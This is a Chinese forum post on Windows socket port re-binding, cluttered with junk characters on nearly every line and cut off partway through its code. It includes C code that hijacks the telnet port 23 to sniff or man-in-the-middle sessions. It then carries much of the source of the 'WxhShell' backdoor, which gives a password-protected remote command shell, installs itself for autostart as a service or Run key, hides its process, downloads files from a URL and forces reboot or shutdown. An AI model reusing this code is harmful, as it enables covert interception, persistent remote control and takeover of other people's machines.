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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i 9wk)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m}?(c)ST  
+`Ypc  
  saddr.sin_family = AF_INET; ?DKwKt  
?ZT+4U00U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ER*Et+ >  
`'M}.q,k~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wx)Yl1 C  
c*`= o( S  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0?8{q{ o+  
>TZyax<:  
  这意味着什么?意味着可以进行如下的攻击: ^jZ4tH3K  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3+2cD  
e2$k %c~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o-%DL*^5  
FTC,{$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 TSAVXng  
1<d|@9?9`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7.`:Z_  
 a 9f%p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }o MY  
uO;_T/^u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qx<h rC0Z&  
\-~TW4dYe  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E]j2%}6Z%  
\dw*yZ^  
  #include QIZbAnn_  
  #include \1b!I)T9  
  #include LHJjPf)F  
  #include    Z 361ko}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {%Q &CQG_  
  int main() ;UG]ckV-  
  { 0x]W W|se*  
  WORD wVersionRequested; 3,RaM^5dV  
  DWORD ret; Erd)P  
  WSADATA wsaData; 1dahVc1W  
  BOOL val; 2[R{IV8e  
  SOCKADDR_IN saddr; i?1g{JW  
  SOCKADDR_IN scaddr; }qOj^pkJ  
  int err; rkz_h  
  SOCKET s; V[T`I a\  
  SOCKET sc; Auz.wes  
  int caddsize; p?,:  
  HANDLE mt; R#UcwX}o  
  DWORD tid;   fd} U l  
  wVersionRequested = MAKEWORD( 2, 2 ); |T@\ -8Ok  
  err = WSAStartup( wVersionRequested, &wsaData ); (:2,Rr1"  
  if ( err != 0 ) { `cBV+00YS  
  printf("error!WSAStartup failed!\n"); m?Qr)F_M  
  return -1; 3>t^Xu~  
  } ME%W,B.|"s  
  saddr.sin_family = AF_INET; jk'.Gz  
   :;(zA_-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 251^>x.R  
DYKJVn7w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'Bv)UfZ  
  saddr.sin_port = htons(23); 1hn4YcHb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) amY\1quD|  
  { | p"E0av  
  printf("error!socket failed!\n"); ee|i  
  return -1; 1EvK\  
  } E Z}c8b  
  val = TRUE; #- hYjE5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {2Jn#&Z29  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,AO]4Ec  
  { 42wa9UL<Ka  
  printf("error!setsockopt failed!\n"); EgT2a  
  return -1; bijE]:<AE7  
  } ~@wM[}ThP$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g:sn/Zug]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6*n<emP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P:gN"f6  
;P#c!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xbv  
  { l].Gz`L  
  ret=GetLastError(); v9qgfdBS5  
  printf("error!bind failed!\n"); @GpM 4>:  
  return -1; dE[nPtstb  
  } &eHhj9  
  listen(s,2); W%xg;uzp  
  while(1) MWxv\o   
  { Mr3;B+S  
  caddsize = sizeof(scaddr); ,#FK3;U  
  //接受连接请求 }bxW@(bs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8 ;C_@  
  if(sc!=INVALID_SOCKET) x!08FL)  
  { F.0CJ7s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3 0fsVwE2  
  if(mt==NULL) 23AMrDF=N  
  { dMnJ)R  
  printf("Thread Creat Failed!\n"); ?Q ]{P]  
  break; Gx]J6Z8  
  } i]@QxzCSF  
  } IP]"D"  
  CloseHandle(mt); 8 N5ga  
  } Q8kdX6NMd&  
  closesocket(s); ^gK8 u]>  
  WSACleanup(); ^/<0r] =  
  return 0; 3k J8Wn  
  }   dDAI fe2y  
  DWORD WINAPI ClientThread(LPVOID lpParam) VQQtxHTC3  
  { $]Vvu{  
  SOCKET ss = (SOCKET)lpParam; 5zqlK-$  
  SOCKET sc; X(Wd  
  unsigned char buf[4096]; vIi#M0@N  
  SOCKADDR_IN saddr; 5ZRO{rf  
  long num; MifPZQ  
  DWORD val; \[Dxg`;4  
  DWORD ret; IU8/B+hM~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $H9+>Z0(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Uo!#p'<w)p  
  saddr.sin_family = AF_INET; ?5A!/`E&%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,&1DKx  
  saddr.sin_port = htons(23); d&dp#)._8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &3Q!'pJJ  
  { Z*}5M4  
  printf("error!socket failed!\n"); ;!JI$_ -\  
  return -1; S-^RZ"  
  } Ez*9*]O*+  
  val = 100; =-r[ s%t &  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yH'vhtop  
  { vT#$`M<  
  ret = GetLastError(); {p{TG5rwX  
  return -1; G8y:f%I!b  
  } QeK@ ++EVc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1q])"l"<  
  { S+d@RMdes  
  ret = GetLastError(); 0jlwL  
  return -1; hpxqL%r  
  } aP%2CP~_P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rHir> p  
  { iG\ ]  
  printf("error!socket connect failed!\n"); dA`.  
  closesocket(sc); ]pZxbs&Vb  
  closesocket(ss); ^=H. .pr  
  return -1; SxHj3,`#C  
  } [/s^(2%  
  while(1) vgc #IEx@  
  { B>hC8^.S|w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F ;o ^.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 z"b}V01F#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ],lrT0_cT  
  num = recv(ss,buf,4096,0); t(O{IUYM  
  if(num>0) `kn 'RZR  
  send(sc,buf,num,0); oJcDs-!  
  else if(num==0) .o(XnY)cgJ  
  break; C6=P(%y  
  num = recv(sc,buf,4096,0); _Ra$"j  
  if(num>0) Vt {uG  
  send(ss,buf,num,0); H8V${&!ho  
  else if(num==0) k* ayzg3F>  
  break; 7fVlA"x  
  } hP=^JH  
  closesocket(ss); 6^vMJ82U  
  closesocket(sc); JF%eC}[d  
  return 0 ; I.[2-~yf  
  } &i&k 4  
QJL%J  
DS@ZE Q`F  
========================================================== lG\6z"K  
tSr.0'CE  
下边附上一个代码,,WXhSHELL /'V(F* g  
6*] g)m  
========================================================== -R^OYgF  
u~| D;e  
#include "stdafx.h" x<m{B@3T  
t:DZow  
#include <stdio.h> p[Pa(a,B7  
#include <string.h> E4a`cGb  
#include <windows.h> 3yWu-U \k  
#include <winsock2.h>  As&=Pb9  
#include <winsvc.h> )T-C/ 3  
#include <urlmon.h> He#5d!cf:M  
xz-z" 8d  
#pragma comment (lib, "Ws2_32.lib") EJM6TI"  
#pragma comment (lib, "urlmon.lib") gWxpGW^eZ~  
MZyzc{c,  
#define MAX_USER   100 // 最大客户端连接数 ,t`u3ykh  
#define BUF_SOCK   200 // sock buffer Y:GSjq  
#define KEY_BUFF   255 // 输入 buffer VJK?"mX  
:^c ' P<HM  
#define REBOOT     0   // 重启 #J 1vN]g  
#define SHUTDOWN   1   // 关机 wABaNB=9;  
h L 1q9%  
#define DEF_PORT   5000 // 监听端口 cs]N%M^s  
O F$0]V  
#define REG_LEN     16   // 注册表键长度 [Yo3=(7J  
#define SVC_LEN     80   // NT服务名长度 j.? '*?P  
AY{-Hf&  
// 从dll定义API 9~bl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }:5_vH0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =Kq/E De  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B0_[bQoc1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ck71N3~W  
s*"Yi~  
// wxhshell配置信息 O~E6"v Q  
struct WSCFG { [D8u.8q  
  int ws_port;         // 监听端口 Q}pnb3J>T  
  char ws_passstr[REG_LEN]; // 口令 ' }G! D  
  int ws_autoins;       // 安装标记, 1=yes 0=no fOE8{O^W  
  char ws_regname[REG_LEN]; // 注册表键名 vdwh59W  
  char ws_svcname[REG_LEN]; // 服务名 {fwA=J9%KS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {[r}&^K15  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zG\g{cB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2~:jg1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E5-f{Qc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mlIX>ss|7B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wA@y B"  
c4]/{!4 Q  
}; $$U Mc-Pq  
]2^tV.^S^  
// default Wxhshell configuration e,Ih7-=Er,  
struct WSCFG wscfg={DEF_PORT, + 9vd(c  
    "xuhuanlingzhe", c6IFt4)g  
    1, h5+qP"n!?q  
    "Wxhshell", K"p$ga{  
    "Wxhshell", >Oary  
            "WxhShell Service", c,cc avv{I  
    "Wrsky Windows CmdShell Service", t`PA85.|d  
    "Please Input Your Password: ", ds@w=~  
  1, ~VNN  
  "http://www.wrsky.com/wxhshell.exe", 64qm  
  "Wxhshell.exe" 'dE G\?v9  
    }; q+A^JjzT  
?vHow$  
// 消息定义模块 4>q^W$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PV_E3,RY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q1:Y]Rbe  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qo1eHn4  
char *msg_ws_ext="\n\rExit."; 6XVr-ef  
char *msg_ws_end="\n\rQuit."; [iJU{W  
char *msg_ws_boot="\n\rReboot..."; Hwr# NKz-  
char *msg_ws_poff="\n\rShutdown..."; kbqG)  
char *msg_ws_down="\n\rSave to "; t;[L-|^  
RR2Q  
char *msg_ws_err="\n\rErr!"; k=t\  
char *msg_ws_ok="\n\rOK!"; 5F@7A2ZR  
)XB31^  
char ExeFile[MAX_PATH]; O]ZP- WG  
int nUser = 0; ' 0iXx   
HANDLE handles[MAX_USER]; nWTo$*>W  
int OsIsNt; HOWm""IkB  
S@AHI!"h=V  
SERVICE_STATUS       serviceStatus; [ \I&/?On  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,vfi]_PK  
U) tqo_  
// 函数声明 g+5{&YD  
int Install(void); zzf;3S?  
int Uninstall(void); k+X=8()k  
int DownloadFile(char *sURL, SOCKET wsh); =[wVRQ?  
int Boot(int flag); wzX 1!?  
void HideProc(void); _%g}d/v}pO  
int GetOsVer(void); Ka[@-XH  
int Wxhshell(SOCKET wsl); (TufvHC  
void TalkWithClient(void *cs); \Y)pm9!  
int CmdShell(SOCKET sock); oY!nM%z/  
int StartFromService(void); 44H#8kV  
int StartWxhshell(LPSTR lpCmdLine); 13oR-Stj|  
nC^|83  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V^ O dTM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); owClnp9K  
GF6c6TXF@  
// 数据结构和表定义 2?3D` `  
SERVICE_TABLE_ENTRY DispatchTable[] = ;^5d^-T  
{ yNY *Fl!  
{wscfg.ws_svcname, NTServiceMain}, K6#9HF'2I  
{NULL, NULL} 7X3<8:%  
}; N3P!<J/tc  
ahagt9[,:F  
// 自我安装 (!h%) _?.l  
int Install(void) sOc<'):TK  
{ l3Vw?f   
  char svExeFile[MAX_PATH]; 8 *@knkJ  
  HKEY key; s1,kTde  
  strcpy(svExeFile,ExeFile); <8U qV.&  
VGbuEC[Y  
// 如果是win9x系统,修改注册表设为自启动 _ Je k;N  
if(!OsIsNt) { #qk}e4u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .@0i,7S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GarPnb  
  RegCloseKey(key); 0qXkWGB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G~Xh4*#J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L8<Yk`jx  
  RegCloseKey(key); R} nY8zE  
  return 0; qXPT1%+)y  
    } zz ^2/l  
  } 2ql7*g?Uq@  
} :Jp$_T&E  
else { :3qA7D}  
$y !k)"k  
// 如果是NT以上系统,安装为系统服务 D#>+]}5@x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }s;W{Q  
if (schSCManager!=0) 3VJoH4E!6  
{ ZyE2=w7n  
  SC_HANDLE schService = CreateService qzv$E;zAl  
  ( 0{ov LzW  
  schSCManager, =>ooB/  
  wscfg.ws_svcname, Hu$]V*rAG  
  wscfg.ws_svcdisp, 8fpaY{]  
  SERVICE_ALL_ACCESS, *wW/nr=\;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !:Lb^C;/  
  SERVICE_AUTO_START, hw`+,_ g  
  SERVICE_ERROR_NORMAL, 846j<fE  
  svExeFile, MRvtuE|g  
  NULL, C3fSSa%b  
  NULL, O@U[S.IK  
  NULL, |;q*Zy(  
  NULL, c1j)  
  NULL "rz|sbj  
  ); L2>UA<@mZ  
  if (schService!=0) % R~9qO  
  { 0dhJ# [Y  
  CloseServiceHandle(schService); ZOl =zn  
  CloseServiceHandle(schSCManager); 9OB[ig  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2#Fc4RR;  
  strcat(svExeFile,wscfg.ws_svcname); Ij>x3L\-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >j1\]uo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ehO@3%z30c  
  RegCloseKey(key); O~F/pJN`  
  return 0; ;u LD_1%  
    } se](hu~w  
  } 7*5$=z4,1  
  CloseServiceHandle(schSCManager); gx&BzODPd0  
} hx$-d}W{  
} Qg+0(odd  
)%8oE3O#  
return 1; VXvr`U\  
} ;i`X&[y;  
!pI)i*V|  
// 自我卸载 :<d\//5<9  
int Uninstall(void) =LJc8@<:f  
{ rkA0v-N6v  
  HKEY key; d>:(>@wz  
&F" Mkyf  
if(!OsIsNt) { yTw0\yiO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r@+IDW.=9  
  RegDeleteValue(key,wscfg.ws_regname); uAT01ZEm  
  RegCloseKey(key); ,)A^3Q*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'j=7'aX>K  
  RegDeleteValue(key,wscfg.ws_regname); TDg#O!DUF  
  RegCloseKey(key); }~dXz?{p8  
  return 0; "H>L!v  
  } ;J pdnV  
} UD [S>{  
} mg)lr&-b  
else { 1E!0N`E  
-}k'a{sj=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ee>P*7*jB  
if (schSCManager!=0) h+|3\>/@9{  
{ DsY-JBDvoz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MGIpo[  
  if (schService!=0) TEOV>Tt  
  { ~*D)L'`2M  
  if(DeleteService(schService)!=0) { e!yUA!x`u  
  CloseServiceHandle(schService); v=?U{{xQ  
  CloseServiceHandle(schSCManager); MjC;)z  
  return 0; Ky`rf}cI>  
  } +=%13cA*U  
  CloseServiceHandle(schService); FQ?,&s$Bmd  
  } j[YzBXd V  
  CloseServiceHandle(schSCManager); K g&{ ?&  
} -bo2"*|m  
} &9\z!r6mc  
"/hM&  
return 1; L f[>U  
} sChMIbq!Av  
[@[!esC  
// 从指定url下载文件 aR.1&3fE  
int DownloadFile(char *sURL, SOCKET wsh) 9"R]"v3BA  
{ O!='U!X@P  
  HRESULT hr; }(O/y-  
char seps[]= "/"; !_s|h@  
char *token; hNUAwTH6  
char *file; 13Ga #  
char myURL[MAX_PATH]; eN{[T PPCq  
char myFILE[MAX_PATH]; XhFa9RC  
ke|v|@  
strcpy(myURL,sURL); R3F>"(P@tS  
  token=strtok(myURL,seps); !c:Q+:,H  
  while(token!=NULL) Ea1{9> S  
  { 12Qcjj%F*  
    file=token; ]9)pFL  
  token=strtok(NULL,seps); S{j|("W"[  
  } H V<|eL #  
tA$,4B?  
GetCurrentDirectory(MAX_PATH,myFILE); c"t1E-Nsk  
strcat(myFILE, "\\"); 4vTO  #F  
strcat(myFILE, file); k|-`d  
  send(wsh,myFILE,strlen(myFILE),0); 0CI?[R\  
send(wsh,"...",3,0); I})la!9   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b].:2  
  if(hr==S_OK) H[V^wyi'z  
return 0; hN c;, 13  
else #(h~l> r  
return 1; I"@X~Y7}  
y|q4d(P.  
} *x[B g]/  
6BVV2j)zl:  
// 系统电源模块 .%`|vGF  
int Boot(int flag) )gV+BHK  
{ \(.&E`r  
  HANDLE hToken; Y5=~>*e  
  TOKEN_PRIVILEGES tkp; !U}A1)  
OYC4iI  
  if(OsIsNt) { -2|D( sO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NKLGbH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8-cG[/|0  
    tkp.PrivilegeCount = 1; 5/DTE:M<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %@$h?HP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8+ eZU<\B(  
if(flag==REBOOT) { i9k7rEW^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VgZ<T,SuW  
  return 0; j>eL&.d  
} ~j 3B'  
else { R B.j@*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KSVIX!EsX  
  return 0; .=rv,PWjZ  
} Km]N scq1  
  } 9:A>a3KOH  
  else { ;|w &n  
if(flag==REBOOT) { z=!$3E ecr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E xKH%I  
  return 0; nFW^^v<  
} w(r$n|Ks9  
else { SDiZOypS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) COFs?L.`  
  return 0; lf0/ 0KH  
} YS?P A#  
} NmST1pMk  
= Ii@-C  
return 1; Y_>z"T  
} BzF.KCScs  
J[YA1  
// win9x进程隐藏模块 v6oPAqj,r  
void HideProc(void) riZFcVsB  
{ L;nRI.  
52m^jT Sx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?Li^XONz  
  if ( hKernel != NULL ) qh0)~JL4   
  { &o^wgmS   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )&+_T+\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S n.I ]:l  
    FreeLibrary(hKernel); seHwn'Jn  
  } 9Q]v#&1  
%2BFbaE  
return; oF.Fg<p (  
} tA#X@HIE  
Yp 6;Y7^  
// 获取操作系统版本 qt/syF&s  
int GetOsVer(void) )oTEB#J  
{ Qat%<;P2  
  OSVERSIONINFO winfo; FvG9PPd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }yx{13:[  
  GetVersionEx(&winfo); cLr? B;FS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <Ml,H%F  
  return 1; Q+mMp I  
  else ZyCAl9{p  
  return 0; {9;~xxTo  
} {,IWjt &>  
?MKf=! w  
// 客户端句柄模块 aZ@4Z=LK  
int Wxhshell(SOCKET wsl) s%GiM  
{ J}jK_  
  SOCKET wsh; |GK [I  
  struct sockaddr_in client; ^ eM=h  
  DWORD myID; :1_hQeq  
 =e$ #m;  
  while(nUser<MAX_USER) /T#<g:   
{ x)"=*Jj  
  int nSize=sizeof(client); hNDhee`%6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <kLY1 EILM  
  if(wsh==INVALID_SOCKET) return 1; :m#vvH  
wrqdQ} @(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t)cG_+rJ  
if(handles[nUser]==0) G]P4[#5  
  closesocket(wsh); :U)e 8  
else %T'?7^\>  
  nUser++; 4Xz6JJ1U[H  
  } ~lDLdUs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H7Y}qP5X  
-mY90]g  
  return 0; {!N4|  
} NnHwk)'  
V]q{N-Iq  
// 关闭 socket u:HKmP;  
void CloseIt(SOCKET wsh) r0\bi6;s/  
{ DIk$9$"<x  
closesocket(wsh); $)n{}8^  
nUser--; Maa5a  
ExitThread(0); ,<EmuEw |  
} !-N!8 0  
/2FX"I[0V%  
// 客户端请求句柄 <(f4#B P  
void TalkWithClient(void *cs) v/m`rc]e  
{ Q~xR'G[N  
7]nPWz1%*  
  SOCKET wsh=(SOCKET)cs; {q}: w{x9u  
  char pwd[SVC_LEN]; T^ sxR4F  
  char cmd[KEY_BUFF]; YvYavd  
char chr[1]; //J:p,AF  
int i,j; ]G1j\wnF  
t<`ar@}  
  while (nUser < MAX_USER) { @J r  
<U~P-c tN  
if(wscfg.ws_passstr) { xje{ kx#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yLDHJ}R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W!X#:UM)  
  //ZeroMemory(pwd,KEY_BUFF); c U{LyZp  
      i=0; nn=JM7e\9  
  while(i<SVC_LEN) { Ce:R p?  
aLsGden|  
  // 设置超时 66|lQE&n  
  fd_set FdRead; M  j5C0P(  
  struct timeval TimeOut; ZzKn,+  
  FD_ZERO(&FdRead); Xrz0ch  
  FD_SET(wsh,&FdRead); R=e`QMq  
  TimeOut.tv_sec=8; Q'8v!/"}p{  
  TimeOut.tv_usec=0; ?-i|f_`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :lE7v~!Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &1Y+ q]  
wR;l"*j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N$y4>g  
  pwd=chr[0];  >#q|Pjv]  
  if(chr[0]==0xd || chr[0]==0xa) { ~(Tz <  
  pwd=0; Q1jyetk~I  
  break; %kcg#p+tE  
  } RU{}qPs?  
  i++; 1B1d>V$*  
    } RF;N]A?*  
4;*V^\',9  
  // 如果是非法用户,关闭 socket [ =9R5.)c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .Z^g 7 *s  
} :EO}uP2  
r! M2H {  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |SxEJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7q\c\qL  
sW]n~kTt'  
while(1) { N!m%~},s//  
V`H#|8\i  
  ZeroMemory(cmd,KEY_BUFF); {$EXI]f  
JNu- z:J  
      // 自动支持客户端 telnet标准   S1B/ClKWq  
  j=0; m_Rgv.gE^  
  while(j<KEY_BUFF) { jNyC%$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .Yf h*  
  cmd[j]=chr[0]; .U1dcL6  
  if(chr[0]==0xa || chr[0]==0xd) { Y{O&- 5H^|  
  cmd[j]=0; ex| kD*=  
  break; gSGe]  
  } A]J^{h0 k  
  j++; hD,- !R  
    } AzV5Re8M  
wH`@r?&  
  // 下载文件 n;=A'g|Q  
  if(strstr(cmd,"http://")) { c !;wp,c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x:bYd\ EJ[  
  if(DownloadFile(cmd,wsh)) <VBw1|)$@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UP`q6] P  
  else $YC~02{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $e_ps~{7$  
  } Wp]EaYt2D  
  else { g|zK%tR_P  
c[YjGx  
    switch(cmd[0]) { zm"\D vN)  
  F9<OKcXH  
  // 帮助 Ya_6Zd4O  
  case '?': { roA1= G\Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .( J /*H  
    break; 3K{8sFDO  
  } xC{NIOYn'  
  // 安装 ~3%3{a a  
  case 'i': { U\ L"\N7  
    if(Install()) HUghl2L.<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l<HRD  
    else IN"vi|1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ##5/%#eZ  
    break; YNXk32@j@e  
    } Om^/tp\  
  // 卸载 O7\s1 V;  
  case 'r': { (LfVa`<1  
    if(Uninstall()) 7X|r';"?i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -hzza1DP  
    else 4 * OU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gw./qu-W  
    break; \1!k)PZdTW  
    } ;1dz?'%V  
  // 显示 wxhshell 所在路径 /'1y`j<  
  case 'p': { v<SEGv-  
    char svExeFile[MAX_PATH]; ! lF^~x  
    strcpy(svExeFile,"\n\r"); :qbG%_PJ  
      strcat(svExeFile,ExeFile); VMWg:=~$  
        send(wsh,svExeFile,strlen(svExeFile),0); "uCQm '  
    break; lkm(3y@']A  
    } A!D:Kc3  
  // 重启 .}E)7"Qi,  
  case 'b': { lP e$AI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X\x9CA  
    if(Boot(REBOOT)) /kz&9FM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ["F,|e{y$  
    else { _E;Y ~I,i  
    closesocket(wsh); r83~o/T@  
    ExitThread(0); !7oy%{L  
    } {X$Mwqhpp;  
    break;  SoX V  
    } mig3.is  
  // 关机 k)s 7Ev*  
  case 'd': { 78)^vvn5~  
